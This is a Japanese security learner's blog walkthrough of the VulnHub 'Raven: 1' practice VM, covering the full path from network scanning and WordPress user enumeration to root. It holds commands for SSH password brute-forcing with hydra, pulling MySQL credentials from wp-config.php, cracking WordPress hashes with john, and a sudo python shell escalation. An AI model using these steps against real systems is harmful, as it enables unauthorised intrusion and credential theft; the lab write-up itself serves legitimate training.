セキュリティ技術者見習い備忘録

セキュリティ見習いが勉強作業記録をメモする場所

【VulnHub】Raven: 1 -Walkthrough-

はじめに

今回は以下のVM

今回はVMware Workstation(NAT)を使った。flagは4つあるとのこと。

情報収集

ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは192.168.196.129)

#netdiscover -r 192.168.196.0/24

-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。

f:id:ztetez:20190429015444p:plain

続いてポートスキャン。

#nmap -sV -A -p- 192.168.196.131

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190210233240p:plain

22番(ssh)、80番(http)、111番、33921番がopen。ブラウザで80番へアクセス。

f:id:ztetez:20190210233705p:plain

右上にあるリンクに一つずつアクセスし、ソースを「flag」で文字列検索。SERVICEのリンク先にflag1を発見。

f:id:ztetez:20190210233756p:plain

dirbでリンクされていないコンテンツを探す。

#dirb http://192.168.196.131

f:id:ztetez:20190210234023p:plain

f:id:ztetez:20190210234243p:plain

/vendor/と/wordpress/がある。/vendor/にアクセス。

f:id:ztetez:20190210234512p:plain

PATHが怪しかったが、特に有力な情報ではなかった。

f:id:ztetez:20190210234545p:plain

ブラウザから、/wordpress/wp-adminへアクセスしてみたが、アクセスできなかった。URLを見てみると「raven.local」へリダイレクトされている。(dirbの結果にも301とある。)

f:id:ztetez:20190210235012p:plain

そこで、以下のようにhostsファイルに追記したことでアクセスできるようになった。

f:id:ztetez:20190210235322p:plain

wordpress脆弱性診断ツールであるwpscanを使う。

#wpscan --url http://raven.local/wordpress -e u

  • --url:URLの指定
  • -e u:ユーザ名の列挙

f:id:ztetez:20190211000532p:plain

f:id:ztetez:20190211000546p:plain

「michael」、「steven」がいることが分かった。

侵入

以下のuser.lstを用いて22番をhydraでパスワードクラックする。辞書ファイルには事前に解凍したrockyou.txtと、-e nsrオプションを用いる。

f:id:ztetez:20190211001859p:plain

#hydra -L user.lst -P /usr/share/wordlists/rockyou.txt -e nsr ssh://192.168.196.131

  • -L:ユーザリストファイルの指定
  • -P:パスワードリストファイルの指定
  • -e nsrnは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定 

f:id:ztetez:20190211001926p:plain

ユーザ名:michael、パスワードmichaelを発見。これを使ってsshへアクセス。

f:id:ztetez:20190211002152p:plain

入れた。flagを探す。

&find / -name flag* 2>/dev/null

f:id:ztetez:20190211002257p:plain

 /var/www配下にflag2.txtを発見。

f:id:ztetez:20190211002742p:plain

 権限昇格

rootへの権限昇格を目指す。前回記事同様、wordpressの設定ファイル(wp-config.php)を見に行く。

f:id:ztetez:20190211003543p:plain

MySQLの認証情報、ユーザ名:root,、パスワード:R@v3nSecurityを発見。この情報を使って権限昇格を試みたが失敗。

f:id:ztetez:20190211003750p:plain

sudoで実行できるコマンドの確認。なし。

$sudo -l 

  • -l:実行を許可サレタコマンド、パスを一覧表示

f:id:ztetez:20190211004202p:plain

SUIDが設定されたファイルの中でも権限昇格に使えそうなものはない。

$find / -perm -4000 -type f 2>/dev/null

f:id:ztetez:20190211004316p:plain

そもそも発見したのはMySQLのアカウント情報。MySQLへアクセスして、そこから権限昇格を目指す。

MySQLのポート(3306)が開いていることも確認。

f:id:ztetez:20190211004533p:plain

発見したアカウント情報でMySQLへログイン成功。

$mysql -u root -p

  • -u:ユーザ名指定
  • -p:パスワード指定

 以下の手順でテーブルを見つける。

mysql>show databases;

mysql>use wordpress;

mysql>show tables;

ここまでで、「wp_users」というテーブルの存在が確認できた。

f:id:ztetez:20190211093049p:plain

続いて、SQL文で「wp-users」テーブルを見に行く。

mysql>select * from users;

f:id:ztetez:20190211093158p:plain

michael、stevenのパスワードハッシュを発見。mychaelのパスワードは既に判明している(michael)。stevenのパスワードが分かれば、そこからrootへの昇格ができそう。

john the ripperでパスワードクラックするために、まずは以下のようなpasshash.txtを作成。

f:id:ztetez:20190211093504p:plain

 パスワードクラック。

#john passhash.txt

f:id:ztetez:20190211093639p:plain

結構時間はかかったが、stevenのパスワードが見つかった。

stevenとして侵入することに成功。

f:id:ztetez:20190211093738p:plain

 sudoで実行可能なコマンドを探す。

$sudo -l

  • -l:実行を許可されたコマンド、パスを一覧表示

f:id:ztetez:20190211094026p:plain

 pythonが使えるので、以下を実行。

$sudo python -c "import pty; pty.spawn('/bin/bash')"

rootに権限昇格できた。/root配下にflag4.txtを発見。

f:id:ztetez:20190211101600p:plain

flag3

flag3よりflag4が先に見つかったが、flag3は以下の手順で見つけた。

Username:steven、Password:pink84でログイン。

f:id:ztetez:20190211102132p:plain

ログイン後、左メニューのPostsにflag3を発見。

f:id:ztetez:20190211102333p:plain